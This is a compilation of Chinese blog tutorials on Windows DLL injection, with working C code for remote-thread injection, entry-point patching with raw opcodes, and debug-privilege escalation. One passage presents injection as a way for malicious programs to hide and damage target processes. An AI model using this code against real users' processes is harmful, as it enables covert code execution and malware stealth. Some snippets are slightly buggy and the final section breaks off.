DLL注入学习总结
dll注入
所謂DLL 注入就是將一個DLL放進某個進程的地址空間里，讓它成為那個進程的一部分。要實現DLL注入，首先需要打開目標進程。中文名 dll注入 外文名 hRemoteProcess 意 ? ?義 將一個DLL放進進程的地址空間里 方 ? ?法 打開目標進程
例：
hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | //允許遠程創建線程
PROCESS_VM_OPERATION | //允許遠程VM操[2] ?作
PROCESS_VM_WRITE, //允許遠程VM寫
FALSE, dwRemoteProcessId )
由于我們后面需要寫入遠程進程的內存地址空間并建立遠程線程，所以需要申請足夠的權限（PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE）。
如果進程打不開，以后的操作就別想了。進程打開后，就可以建立遠線程了，不過別急，先想想這個遠線程的線程函數是什么？我們的目的是注入一個DLL。而且我們知道用LoadLibrary可以加載一個DLL到本進程的地址空間。于是，自然會想到如果可以在目標進程中調用LoadLibrary，不就可以把DLL加載到目標進程的地址空間了嗎？對！就是這樣。遠線程就在這兒用了一次，建立的遠線程的線程函數就是LoadLibrary，而參數就是要注入的DLL的文件名。(這里需要自己想一想，注意到了嗎，線程函數ThreadProc和LoadLibrary函數非常相似，返回值，參數個數都一樣) 還有一個問題，LoadLibrary這個函數的地址在哪兒？也許你會說，這個簡單，GetProcAddress就可以得出。于是代碼就出來了。
char *pszLibFileRemote="my.dll";
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA");
CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
但是不對！不要忘了，這是遠線程，不是在你的進程里，而pszLibFileRemote指向的是你的進程里的數據，到了目標進程，這個指針都不知道指向哪兒去了，同樣pfnStartAddr這個地址上的代碼到了目標進程里也不知道是什么了，不知道是不是你想要的LoadLibraryA了。但是，問題總是可以解決的，Windows有些很強大的API函數，他們可以在目標進程里分配內存，可以將你的進程中的數據拷貝到目標進程中。因此pszLibFileRemote的問題可以解決了。
char *pszLibFileName="my.dll";//注意，這個一定要是全路徑文件名，除非它在系統目錄里；原因大家自己想想。
//計算DLL路徑名需要的內存空間
int cb = (1 + lstrlenA(pszLibFileName)) * sizeof(char);
//使用VirtualAllocEx函數在遠程進程的內存地址空間分配DLL文件名緩沖區
pszLibFileRemote = (char *) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE);
//使用WriteProcessMemory函數將DLL的路徑名復制到遠程進程的內存空間
iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
OK，現在目標進程也認識pszLibFileRemote了，但是pfnStartAddr好像不好辦，我怎么可能知道LoadLibraryA在目標進程中的地址呢？其實Windows為我們解決了這個問題，LoadLibraryA這個函數是在Kernel32.dll這個核心DLL里的，而這個DLL很特殊，不管對于哪個進程，Windows總是把它加載到相同的地址上去。因此你的進程中LoadLibraryA的地址和目標進程中LoadLibraryA的地址是相同的(其實，這個DLL里的所有函數都是如此)。至此，DLL注入結束了。
========
Dll注入經典方法完整版
http://pnig0s1992.blog.51cto.com/393390/804484/Pnig0s1992:算是復習了，最經典的教科書式的Dll注入。
總結一下基本的注入過程，分注入和卸載
注入Dll：
1，OpenProcess獲得要注入進程的句柄
2，VirtualAllocEx在遠程進程中開辟出一段內存，長度為strlen(dllname)+1;
3，WriteProcessMemory將Dll的名字寫入第二步開辟出的內存中。
4，CreateRemoteThread將LoadLibraryA作為線程函數，參數為Dll的名稱，創建新線程
5，CloseHandle關閉線程句柄
卸載Dll：
1，CreateRemoteThread將GetModuleHandle注入到遠程進程中，參數為被注入的Dll名
2，GetExitCodeThread將線程退出的退出碼作為Dll模塊的句柄值。
3，CloseHandle關閉線程句柄
3，CreateRemoteThread將FreeLibraryA注入到遠程進程中，參數為第二步獲得的句柄值。
4，WaitForSingleObject等待對象句柄返回
5，CloseHandle關閉線程及進程句柄。
#include <stdio.h> #include <Windows.h> #include <TlHelp32.h> DWORD getProcessHandle(LPCTSTR lpProcessName)//根據進程名查找進程PID { DWORD dwRet = 0; HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if(hSnapShot == INVALID_HANDLE_VALUE) { printf("\n獲得進程快照失敗%d",GetLastError()); return dwRet; } PROCESSENTRY32 pe32;//聲明進程入口對象 pe32.dwSize = sizeof(PROCESSENTRY32);//填充進程入口對象大小 Process32First(hSnapShot,&pe32);//遍歷進程列表 do { if(!lstrcmp(pe32.szExeFile,lpProcessName))//查找指定進程名的PID { dwRet = pe32.th32ProcessID; break; } } while (Process32Next(hSnapShot,&pe32)); CloseHandle(hSnapShot); return dwRet;//返回 } INT main(INT argc,CHAR * argv[]) { DWORD dwPid = getProcessHandle((LPCTSTR)argv[1]); LPCSTR lpDllName = "EvilDll.dll"; HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwPid); if(hProcess == NULL) { printf("\n獲取進程句柄錯誤%d",GetLastError()); return -1; } DWORD dwSize = strlen(lpDllName)+1; DWORD dwHasWrite; LPVOID lpRemoteBuf = VirtualAllocEx(hProcess,NULL,dwSize,MEM_COMMIT,PAGE_READWRITE); if(WriteProcessMemory(hProcess,lpRemoteBuf,lpDllName,dwSize,&dwHasWrite)) { if(dwHasWrite != dwSize) { VirtualFreeEx(hProcess,lpRemoteBuf,dwSize,MEM_COMMIT); CloseHandle(hProcess); return -1; } }else { printf("\n寫入遠程進程內存空間出錯%d。",GetLastError()); CloseHandle(hProcess); return -1; } DWORD dwNewThreadId; LPVOID lpLoadDll = LoadLibraryA; HANDLE hNewRemoteThread = CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)lpLoadDll,lpRemoteBuf,0,&dwNewThreadId); if(hNewRemoteThread == NULL) { printf("\n建立遠程線程失敗%d",GetLastError()); CloseHandle(hProcess); return -1; } WaitForSingleObject(hNewRemoteThread,INFINITE); CloseHandle(hNewRemoteThread); //準備卸載之前注入的Dll DWORD dwHandle,dwID; LPVOID pFunc = GetModuleHandleA;//獲得在遠程線程中被注入的Dll的句柄 HANDLE hThread = CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)pFunc,lpRemoteBuf,0,&dwID); WaitForSingleObject(hThread,INFINITE); GetExitCodeThread(hThread,&dwHandle);//線程的結束碼即為Dll模塊兒的句柄 CloseHandle(hThread); pFunc = FreeLibrary; hThread = CreateRemoteThread(hThread,NULL,0,(LPTHREAD_START_ROUTINE)pFunc,(LPVOID)dwHandle,0,&dwID); //將FreeLibraryA注入到遠程線程中去卸載Dll WaitForSingleObject(hThread,INFINITE); CloseHandle(hThread); CloseHandle(hProcess); return 0; }
?
========
DLL注入技術
http://blog.csdn.net/chenyujing1234/article/details/7860629轉載自： http://hi.baidu.com/xwind85/blog/item/ae5332ad04bb7f034a36d662.html
一、DLL注入技術的用途
DLL注入技術的用途是很廣泛的，這主要體現在：
1、假如你要操縱的對象涉及的數據不在進程內；
2、你想對目標進程中的函數進行攔截(甚至API函數，嘿嘿，由此編寫個攔截timeGettime的過程，變速齒輪不就出來了么？改天我試試)，比如對它所屬窗口進行子類化。
3、你想編寫一些函數用于增強或增加目標進程功能，比如可以給目標進程的某個窗口插入個消息循環增加其響應能力。（Mfc Windows程序設計稱之為消息泵）。
4、隱藏自己的程序，很多惡意程序都是這樣做的，即使你將惡意程序的進程結束掉也毫無意義了，因為它自己已經插入到很多進程中去了，唯一有效的辦法只有注銷windows.。如果你是個愛搞破壞的人就更應該掌握該技術了，不但可以利用該技術實現隱藏自己的進程，還可以破壞某個目標進程。因為將破壞代碼插入到目標進程進行破壞的話簡直易如反掌。不信試試？:(
二、實現DLL注入的另一種方法
1、將DLL注入進程技術在實現Api函數的監視程序中不可缺少的一項工作。其中最常見的就是用SetWindowsHookEx函數實現了。不過，該方法的缺點是被監視的目標進程必須有窗口，這樣，SetWindowsHookEx才能將DLL注入目標進程中。而且，目標程序已經運行了，那么，在窗口創建之前的Api函數就不能被Hook了。
2、另外一種方法用Debug方案，就可以實現在程序創建時監視所有的Api了，缺點是必須是目標進程的Debug源，在監視程序終了時，目標進程會無條件終了。最大的缺點就是無法調試注入的DLL。
3、還有其他多種方案也可以實現DLL的注入，在《Windows核心編程》一書中就介紹了8－9種，其中有一種采用CreateProcess的方法，實現起來比較復雜，但沒有上面幾種方法的局限性。且可以用其他工具（VC等）調試注入的DLL。下面進行介紹。
原理如下：
1）． 用CreateProcess（CREATE_SUSPENDED）啟動目標進程。
2）． 找到目標進程的入口，用ImageHlp中的函數可以實現。
3）． 將目標進程入口的代碼保存起來。
4）． 在目標進程的入口寫入LoadLibrary（MyDll）實現Dll的注入。
5）． 用ResumeThread運行目標進程。
6）． 目標進程就運行了LoadLibrary（MyDll），實現DLL的注入。
7）． 目標進程運行完LoadLibrary(MyDll)后，將原來的代碼寫回目標進程的入口。
8）． 目標進程Jmp至原來的入口，繼續運行程序。
從原理上可以看出，DLL的注入在目標進程的開始就運行了，而且不是用Debug的方案，這樣，就沒有上面方案的局限性了。該方案的關鍵在6，7，8三步，實現方法需要監視進程和DLL合作。下面，結合代碼進行分析。
在監視進程中，創建FileMapping，用來保存目標進程的入口代碼，同時保證DLL中可以訪問。在第7步實現將原目標代碼寫回目標進程的入口。
// 監視程序和DLL共用的結構體 ?
#pragma pack (push ,1) ?// 保證下面的結構體采用BYTE對齊（必須） ?
typedef struct ??
{ ?
? ? BYTE int_PUSHAD; ? ?// pushad 0x60 ??
? ? BYTE int_PUSH; ? ? ?// push &szDLL 0x68 ?
? ? DWORD push_Value; ? // &szDLL = "ApiSpy.dll"的path ?
? ? BYTE int_MOVEAX; ? ?// move eax &LoadLibrary 0xB8 ?
? ? DWORD eax_Value; ? ?// &LoadLibrary ?
? ? WORD call_eax; ? ? ?// call eax 0xD0FF(FF D0) (LoadLibrary("ApiSpy.dll"); ?
? ? BYTE jmp_MOVEAX; ? ?// move eax &ReplaceOldCode 0xB8 ??
? ? DWORD jmp_Value; ? ?// JMP的參數 ?
? ? WORD jmp_eax; ? ? ? // jmp eax 0xE0FF(FF E0) jmp ReplaceOldCode; ?
? ? char szDLL[MAX_PATH]; // "ApiSpy.dll"的FullPath ?
}INJECT_LOADLIBRARY_CODE, *LPINJECT_CODE; ?
#pragma pack (pop , 1) ?
上面結構體的代碼為匯編代碼，對應的匯編為：
[cpp] view plain copy
pushad ?
push szDll ?
mov eax, &LoadLibraryA ?
call eax ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?// 實現調用LoadLibrary(szDll)的代碼 ?
mov eax, oldentry ?
jmp eax ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? // 實現在LoadLibrary運行完后, 跳至目標進程的入口繼續運行 ?
// FileMaping的結構體 ?
typedef struct ??
{ ?
? ? LPBYTE lpEntryPoint; ? ? ? ? ? ? ? ?// 目標進程的入口地址 ?
? ? BYTE oldcode[sizeof(INJECT_CODE)]; ?// 目標進程的代碼保存 ?
}SPY_MEM_SHARE, * LPSPY_MEM_SHARE; ?
準備工作：
第一步：用CreateProcess（CREATE_SUSPENDED）啟動目標進程。
[cpp] view plain copy
CreateProcessA(0, szRunFile, 0, 0, FALSE, CREATE_SUSPENDED ?
0, NULL, &stInfo, ?
&m_proInfo) ; ?
用CreateProcess啟動一個暫停的目標進程；
找到目標進程的入口點，函數如下
第二步：找到目標進程的入口，用ImageHlp中的函數可以實現。
[cpp] view plain copy
pEntryPoint = GetExeEntryPoint(szRunFile); ?
LPBYTE GetExeEntryPoint(char *filename) ?
{ ?
? ? PIMAGE_NT_HEADERS pNTHeader; ?
? ? DWORD pEntryPoint; ?
? ? PLOADED_IMAGE pImage; ?
? ? pImage = ImageLoad(filename, NULL); ?
? ? if(pImage == NULL) ?
? ? ? ? return NULL; ?
? ? pNTHeader = pImage->FileHeader; ?
? ? pEntryPoint = pNTHeader->OptionalHeader.AddressOfEntryPoint + pNTHeader->OptionalHeader.ImageBase; ?
? ? ImageUnload(pImage); ?
? ? return (LPBYTE)pEntryPoint; ?
} ?
// 創建FileMapping
[cpp] view plain copy
hMap = CreateFileMapping((HANDLE)0xFFFFFFFF, NULL, ?
PAGE_READWRITE, 0, sizeof(SPY_MEM_SHARE), “MyDllMapView”); ?
// 保存目標進程的代碼
第三步：將目標進程入口的代碼保存起來。
[cpp] view plain copy
LPSPY_MEM_SHARE lpMap = pMapViewOfFile(hMap, FILE_MAP_ALL_ACCESS,0, 0, 0); ?
ReadProcessMemory(m_proInfo.hProcess, pEntryPoint,&lpMap->oldcode, sizeof(INJECT_CODE),&cBytesMoved); ?
lpMap->lpEntryPoint = pEntryPoint; ?
// 第四步：在目標進程的入口寫入LoadLibrary（MyDll）實現Dll的注入。
// 準備注入DLL的代碼
[cpp] view plain copy
INJECT_CODE newCode; ?
// 寫入MyDll―――用全路徑 ?
lstrcpy(newCode.szDLL, szMyDll); ?
// 準備硬代碼（匯編代碼） ?
newCode.int_PUSHAD = 0x60; ??
newCode.int_PUSH = 0x68; ?
newCode.int_MOVEAX = 0xB8; ?
newCode.call_eax = 0xD0FF; ?
newCode.jmp_MOVEAX = 0xB8; ?
newCode.jmp_eax = 0xE0FF; ?
newCode.eax_Value = (DWORD)＆LoadLibrary; ?
newCode.push_Value=(pEntryPoint + offsetof(INJECT_CODE,szDLL)); ?
// 將硬代碼寫入目標進程的入口 ?
// 修改內存屬性 ?
DWORD dwNewFlg, dwOldFlg; ?
dwNewFlg = PAGE_READWRITE; ?
VirtualProtectEx(m_proInfo.hProcess, (LPVOID)pEntryPoint, sizeof(DWORD), dwNewFlg, &dwOldFlg); ?
WriteProcessMemory(m_proInfo.hProcess, pEntryPoint,&newCode, sizeof(newCode), NULL);//&dwWrited); ?
VirtualProtectEx(proInfo.hProcess, (LPVOID)pEntryPoint, sizeof(DWORD), dwOldFlg, &dwNewFlg); ?
// 釋放FileMaping 注意，不是Closehandle(hMap) ?
UnmapViewOfFile(lpMap); ?
// 繼續目標進程的運行
第五步：用ResumeThread運行目標進程。
[cpp] view plain copy
ResumeThread(m_proInfo.hThread); ?
在監視進程中就結束了自己的任務，剩下的第6，7，8步就需要在Dll的DllMain中進行配合。
DLL中用來保存數據的結構體
[cpp] view plain copy
typedef struct ?
{ ?
? ? DWORD lpEntryPoint; ?
? ? DWORD OldAddr; ?
? ? DWORD OldCode[4]; ? ??
}JMP_CODE,* LPJMP_CODE; ?
static JMP_CODE _lpCode; ?
// 在DllMain的DLL_PROCESS_ATTACH中調用InitApiSpy函數
// 在該函數中實現第6，7，8步
第六步：目標進程就運行了LoadLibrary（MyDll），實現DLL的注入。
[cpp] view plain copy
int WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID lpReserved) ?
{ ?
switch(dwReason) ?
{ ?
case DLL_PROCESS_ATTACH: ?
? ? return InitApiSpy(); ?
? ? …… ?
// InitApiSpy函數的實現
[cpp] view plain copy
BOOL WINAPI InitApiSpy() ?
{ ?
? ? HANDLE hMap; ?
? ? LPSPY_MEM_SHARE lpMem; ?
? ? DWORD dwSize; ?
? ? BOOL rc; ?
? ? BYTE* lpByte; ?
? ? // 取得FileMapping的句柄 ?
? ? hMap = OpenFileMapping(FILE_MAP_ALL_ACCESS, 0, “MyDllMapView”); ?
? ? if(hMap) ?
? ? { ?
? ? ? ? lpMem = (LPSPY_MEM_SHARE)MapViewOfFile(hMap,FILE_MAP_ALL_ACCESS,0, 0, 0); ?
? ? ? ? if(lpMem) ?
? ? ? ? { ?
第七步：目標進程運行完LoadLibrary(MyDll)后，將原來的代碼寫回目標進程的入口。
[cpp] view plain copy
BOOL WINAPI InitApiSpy() ?
{ ?
? ? HANDLE hMap; ?
? ? LPSPY_MEM_SHARE lpMem; ?
? ? DWORD dwSize; ?
? ? BOOL rc; ?
? ? BYTE* lpByte; ?
? ? // 取得FileMapping的句柄 ?
? ? hMap = OpenFileMapping(FILE_MAP_ALL_ACCESS, 0, “MyDllMapView”); ?
? ? if(hMap) ?
? ? { ?
? ? ? ? lpMem = (LPSPY_MEM_SHARE)MapViewOfFile(hMap,FILE_MAP_ALL_ACCESS,0, 0, 0); ?
? ? ? ? if(lpMem) ?
? ? ? ? { ?
??
? ? ? ? ? ? // 恢復目標進程的入口代碼 ?
? ? ? ? ? ? // 得到mov eax, value代碼的地址 ?
? ? ? ? ? ? _lpCode.OldAddr = (DWORD)((BYTE*)lpMem->lpEntryPoint + offsetof(INJECT_CODE, jmp_MOVEAX)); ?
? ? ? ? ? ? _lpCode.lpEntryPoint = (DWORD)lpMem->lpEntryPoint; ?
? ? ? ? ? ? // 保存LoadLibrary()后面的代碼 ?
? ? ? ? ? ? memcpy(&_lpCode.OldCode, (BYTE*)lpMem->oldcode + offsetof(INJECT_CODE, jmp_MOVEAX), 2*sizeof(DWORD)); ?
? ? ? ? ? ? // 恢復目標進程的入口代碼 ?
? ? ? ? ? ? rc = WriteProcessMemory(GetCurrentProcess(), lpMem->lpEntryPoint, lpMem->oldcode, sizeof(INJECT_CODE), &dwSize); ?
? ? ? ? ? ? lpByte = (BYTE*)lpMem->lpEntryPoint + offsetof(INJECT_CODE, jmp_MOVEAX); ?
? ? ? ? ? ? UnmapViewOfFile(lpMem); ?
? ? ? ? } ?
? ? ? ? CloseHandle(hMap); ?
? ? } ?
? ? // 實現自己Dll的其他功能，如導入表的替換 ?
? ? // …… ?
? ? // 將LoadLibrary后面的代碼寫為轉入處理程序中 ?
? ? // 指令為：mov eax, objAddress ?
? ? // jmp eax ?
? ? { ?
? ? ? ? BYTE* lpMovEax; ?
? ? ? ? DWORD* lpMovEaxValu; ?
? ? ? ? WORD* lpJmp; ?
? ? ? ? DWORD fNew, fOld; ?
? ? ? ? fNew = PAGE_READWRITE; ?
? ? ? ? lpMovEax = lpByte; ?
? ? ? ? VirtualProtect(lpMovEax, 2*sizeof(DWORD), fNew, &fOld); ?
? ? ? ? *lpMovEax = 0xB8; ?
? ? ? ? lpMovEaxValu = (DWORD*)(lpMovEax + 1); ?
? ? ? ? *lpMovEaxValu = (DWORD)&DoJmpEntryPoint; ?
? ? ? ? lpJmp = (WORD*)(lpMovEax + 5); ?
? ? ? ? *lpJmp = 0xE0FF; // (FF E0) ?
? ? ? ? VirtualProtect(lpMovEax, 2*sizeof(DWORD), fOld, &fNew); ?
? ? } ?
? ? return TRUE; ?
} ?
[cpp] view plain copy
// 轉入處理程序 ?
DWORD* lpMovEax; ?
DWORD fNew, fOld; ?
void __declspec(naked) DoJmpEntryPoint () ?
{ ?
? ? // 恢復LoadLibrary后面的代碼 ?
? ? _gfNew = PAGE_READWRITE; ?
? ? _glpMovEax = (DWORD*)_lpCode.OldAddr; ?
? ? VirtualProtect(_glpMovEax, 2*sizeof(DWORD), _gfNew, &_gfOld); ?
? ? *_glpMovEax = _lpCode.OldCode[0]; ?
? ? *(_glpMovEax + 1) = _lpCode.OldCode[1]; ?
? ? VirtualProtect(_glpMovEax, 2*sizeof(DWORD), _gfOld, &_gfNew); ?
//第八步：目標進程Jmp至原來的入口，繼續運行程序。 ?
// 跳至目標代碼的入口 ?
_asm popad ?
_asm jmp _lpCode.lpEntryPoint ?
} ?
第八步：目標進程Jmp至原來的入口，繼續運行程序。
[cpp] view plain copy
// 跳至目標代碼的入口 ?
_asm popad ?
_asm jmp _lpCode.lpEntryPoint ?
} ?
這樣就實現了原來的目標，將DLL的注入放在目標進程的入口運行，實現了目標進程運行之前運行我們的注入Dll的功能。
========
Windows核心編程學習筆記遠程注入DLL
http://blog.chinaunix.net/uid-26275986-id-3141902.html遠程注入DLL
一、概述
為了隱藏自身的進程信息，我們希望將進程作為一個合法進程的線程運行。由于系統進程間不允許直接操作資源，因而我們需要在合法進程內部創建一個線程，為其指定要執行的代碼。一種簡單的方式是令遠程線程載入一個我們編寫的DLL，通過DllMain()函數執行我們需要的代碼。基本思路是將LoadLibrary()函數作為一個線程函數來調用：
CreateRemoteThread()---->LoadLibrary()---->DllMain()
這里的核心函數是CreateRemoteThread()，它用來在遠程進程中創建一新線程。我們來看一下這個函數：
HANDLE WINAPI CreateRemoteThread(
? ? HANDLE hProcess, //要創建遠程線程的進程句柄
? ? LPSECURITY_ATTRIBUTES lpThreadAttributes, //用于定義新線程的安全屬性，這里設為NULL采用默認值即可
? ? SIZE_T dwStackSize, ?//初始化線程堆棧大小，NULL為默認大小
? ? LPTHREAD_START_ROUTINE lpStartAddress, //線程函數開始的地址
? ? LPVOID lpParameter, ?//線程函數參數
? ? DWORD dwCreationFlags, ?//函數表示創建線程后線程的運行狀態
? ? LPDWORD lpThreadId ?//返回線程ID，不關心可以設為NULL不返回
);
使用這個函數關鍵要解決三個參數問題：
l ?獲得遠程線程的進程句柄，而且要確保相應權限
l ?獲取遠程進程中線程函數的開始地址，而非本地地址
l ?向遠程線程成功傳入DLL路徑字符串
解決了這三個問題，我們的遠程注入DLL就基本完成了。接下來，這篇筆記的組織結構如下：
F ?獲取遠程進程句柄
l ?枚舉系統進程
l ?提升進程權限
F ?獲取LoadLibrary()函數在遠程進程中的地址
F ?向遠程線程中寫入DLL路徑字符串
l ?利用VirtualAllocEx()分配遠程地址空間
l ?利用WriteProcessMemory()寫入遠程地址空間
F ?程序源碼
F ?運行測試?
二、獲取遠程進程句柄
我們主要利用OpenProcess()函數來獲得要注入的進程的句柄，句柄是系統中可以起到唯一標識作用的一個對象。我們來看一下OpenProcess()函數：
HANDLE WINAPI OpenProcess(
? ? DWORD dwDesiredAccess, ?//獲取的句柄的訪問權限
? ? BOOL bInheritHandle, ? ?//是否可為新進程繼承
? ? DWORD dwProcessId ? ? ? //要獲取句柄的進程ID
);
句柄的訪問權限是指我們要使用該進程的句柄做哪些訪問操作，對于遠程注入DLL來說，主要有：
PROCESS_CREATE_THREAD | ?//For CreateRemoteThread()
PROCESS_VM_OPERATION | ?//For VirtualAllocEx()/VirtualFreeEx()
PROCESS_VM_WRITE ? ? ? //For WriteProcessMemory(0
當然，我們也可以直接設為最高權限：PROCESS_ALL_ACCESS。
第二個參數說明了是否可為新進程繼承，第三個參數需要借助我們編寫的子函數ListProcess()來獲得。另外需要注意的是，對于很多系統和服務進程而言，獲取其帶有寫權限的句柄需要主調進程擁有調試權限，我們利用子函數EnableDebugPriv()來提升權限。這樣在XP下就足夠了，在VISTA之后的系統中需要進一步提升另一個隱藏權限，這里只討論在XP上的情況。
l ?ListProcess()
我們使用ToolHelpAPI獲取當前運行程序的信息，從而編寫適合自己需要的工具（@MSDN）。它支持的平臺比較廣泛，可以在 Windows CE 下使用。在 Windows Mobile SDK 的 Samples 里面有一個 PViewCE 的樣例程序，就是用這個來查看進程和線程信息的。
使用方法就是先用 CreateToolhelp32Snapshot 將當前系統的進程、線程、DLL、堆的信息保存到一個緩沖區，這就是一個系統快照。如果你只是對進程信息感興趣，那么只要包含 TH32CS_SNAPPROCESS 標志即可。 常見標志如下：
TH32CS_SNAPHEAPLIST：列舉th32ProcessID指定進程中的堆
TH32CS_SNAPMODULE：列舉th32ProcessID指定進程中的模塊
TH32CS_SNAPPROCESS：列舉系統范圍內的所有進程
TH32CS_SNAPTHREAD：列舉系統范圍內的所有線程
函數執行成功返回快照句柄，否則返回INVALID_HANDLE_VALUE。
得到系統快照句柄后，我們調用Process32First和Process32Next來依次獲取系統中每個進程的信息，將信息存入PROCESSENTRY32結構體中，該結構體中存放著進程的主要信息，如
DWORD ?th32ProcessID; ?//進程ID
DWORD ?th32ModuleID; ?//進程模塊ID
CHAR ? szExeFile[MAX_PATH]; ?//進程的可執行文件名
這兩個函數當枚舉到進程時返回TRUE，否則返回FALSE。
然后調用一次 Process32First 函數，從快照中獲取第一個進程，然后重復調用 Process32Next，直到函數返回 FALSE 為止，這樣將遍歷快照中進程列表。這兩個函數都帶兩個參數，它們分別是快照句柄和一個 PROCESSENTRY32 結構。調用完 Process32First 或 Process32Next 之后，PROCESSENTRY32 中將包含系統中某個進程的關鍵信息。其中進程 ID 就存儲在此結構的 th32ProcessID。此 ID 傳給 OpenProcess API 可以獲得該進程的句柄。對應的可執行文件名及其存放路徑存放在 szExeFile 結構成員中。在該結構中還可以找到其它一些有用的信息。
需要注意的是：在調用 Process32First() 之前，要將 PROCESSENTRY32 結構的 dwSize 成員設置成 sizeof(PROCESSENTRY32)。 然后再用 Process32First、Process32Next 來枚舉進程。使用結束后要調用 CloseHandle 來釋放保存的系統快照。具體程序代碼如下：
//利用ToolHelp32庫來枚舉當前系統進程
#include
#include
#include
#include
?
int ListProcess()
{
? ? //獲取系統快照
? ? HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //不要寫錯CreateToolhelp32Snapshot()
? ? if (hProcessSnap == INVALID_HANDLE_VALUE)
? ? {
? ? ? ?printf("CreateToolHelp32Snapshot error!\n");
? ? ? ?return -1;
? ? }
?
? ? //創建單個進程快照結構體，初始化大小
? ? PROCESSENTRY32 pe32;
? ? pe32.dwSize = sizeof(PROCESSENTRY32); ?//務必提前初始化，否則默認的大小不一定滿足要求
?
? ? //初始化緩沖區
? ? WCHAR buff[1024] = {0}; //PROCESSENTRY32中的szExeFile為WCHAR類型數組，此處應一致，使用Unicode碼
?
? ? //枚舉系統快照鏈表中的第一個進程項目
? ? BOOL bProcess = Process32First(hProcessSnap, &pe32);
? ? while (bProcess)
? ? {
?
? ? ? ?//格式化進程名和進程ID，這里要使用printf的寬字符版
? ? ? ?//格式字符串“”都需要用L轉換為寬字符形式
? ? ? ?wsprintf(buff, L"FileName:%-30sID:%-6d\r\n", pe32.szExeFile, pe32.th32ProcessID);
? ? ? ?wprintf(L"%s\n",buff);
? ? ? ?//緩沖區復位
? ? ? ?memset(buff, 0, sizeof(buff));
? ? ? ?//繼續枚舉下一個進程
? ? ? ?bProcess = Process32Next(hProcessSnap, &pe32);
? ? }
?
? ? CloseHandle(hProcessSnap);
? ? return 0;
}
l ?EnableDebugPriv()
提升權限主要利用下面四個函數：
GetCurrentProcessID() ? ? ? ?//得到當前進程的ID ?
OpenProcessToken() ? ? ? ? ?//得到進程的令牌句柄
LookupPrivilegeValue() ? ? ? //查詢進程的權限
AdjustTokenPrivileges() ? ? ? ?//調整令牌權限?
進程的權限設置存儲在令牌句柄中，我們需要先獲取進程的令牌句柄，其次獲取進程中權限類型的LUID值，利用此值來設置進程新的權限，具體函數調用順序如下：
OpenProcessToken()---->LookupPrivilegeValue()---->AdjustTokenPrivileges()
具體代碼如下：
#include
#include
?
int EnableDebugPriv(const WCHAR *name)
{
? ? HANDLE hToken; ? //進程令牌句柄
? ? TOKEN_PRIVILEGES tp; ?//TOKEN_PRIVILEGES結構體，其中包含一個【類型+操作】的權限數組
? ? LUID luid; ? ? ? //上述結構體中的類型值
?
? ? //打開進程令牌環
? ? //GetCurrentProcess()獲取當前進程的偽句柄，只會指向當前進程或者線程句柄，隨時變化
? ? if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &hToken))
? ? {
? ? ? ?printf("OpenProcessToken error\n");
? ? ? ?return -8;
? ? }
?
? ? //獲得本地進程name所代表的權限類型的局部唯一ID
? ? if (!LookupPrivilegeValue(NULL, name, &luid))
? ? {
? ? ? ?printf("LookupPrivilegeValue error\n");
? ? }
?
? ? tp.PrivilegeCount = 1; ? ?//權限數組中只有一個“元素”
? ? tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?//權限操作
? ? tp.Privileges[0].Luid = luid; ? //權限類型
?
? ? //調整進程權限
? ? if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
? ? {
? ? ? ?printf("AdjustTokenPrivileges error!\n");
? ? ? ?return -9;
? ? }
?
? ? return 0;
}
?
三、獲取LoadLibrary()的遠程地址
對于Windows系統而言，本地進程和遠程進程中的Kernel32.dll被映射到地址空間的同一內存地址，因而只要獲取本地進程中LoadLibrary()的地址，在遠程進程中也同樣是這個地址，可以直接傳給CreateRemoteThread()：
LPTHREAD_START_ROUTINE pLoadLibrary
=
(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "LoadLibraryA");
GetProcAddress函數檢索指定的動態鏈接庫(DLL)中的輸出庫函數地址。
函數原型：
FARPROC GetProcAddress(
HMODULE hModule, // DLL模塊句柄
LPCSTR lpProcName // 函數名，以NULL結尾的字符串
);
返回值：
如果函數調用成功，返回值是DLL中的輸出函數地址。
如果函數調用失敗，返回值是NULL。得到進一步的錯誤信息，調用函數GetLastError。
?
四、向遠程進程中寫入DLL路徑字符串
l ?VirtualAllocEx()
如果直接向CreateRemoteThread()傳入DLL路徑，如”C:\\Windows\\System32\\MyDLL.dll”那么實際向遠程線程傳遞的是一個本地的指針值，這個值在遠程進程的地址空間中是沒有意義的。所以我們需要使用VirtualAllocEx()函數在遠程進程中先分配一段空間，用于直接寫入我們的DLL路徑。
函數原形：
LPVOID VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
hProcess：
申請內存所在的進程句柄。
lpAddress：
保留頁面的內存地址；一般用NULL自動分配 。
dwSize：
欲分配的內存大小，字節單位；注意實際分 配的內存大小是頁內存大小的整數倍。
我們這里的實際代碼為：
//在遠程進程中分配內存，準備拷入DLL路徑字符串
//取得當前DLL路徑
char DllPath[260]; //Windows路徑最大為
GetCurrentDirectoryA(260, DllPath); ?//獲取當前進程執行目錄
printf("Proces***e Directory is %s\n", DllPath);?
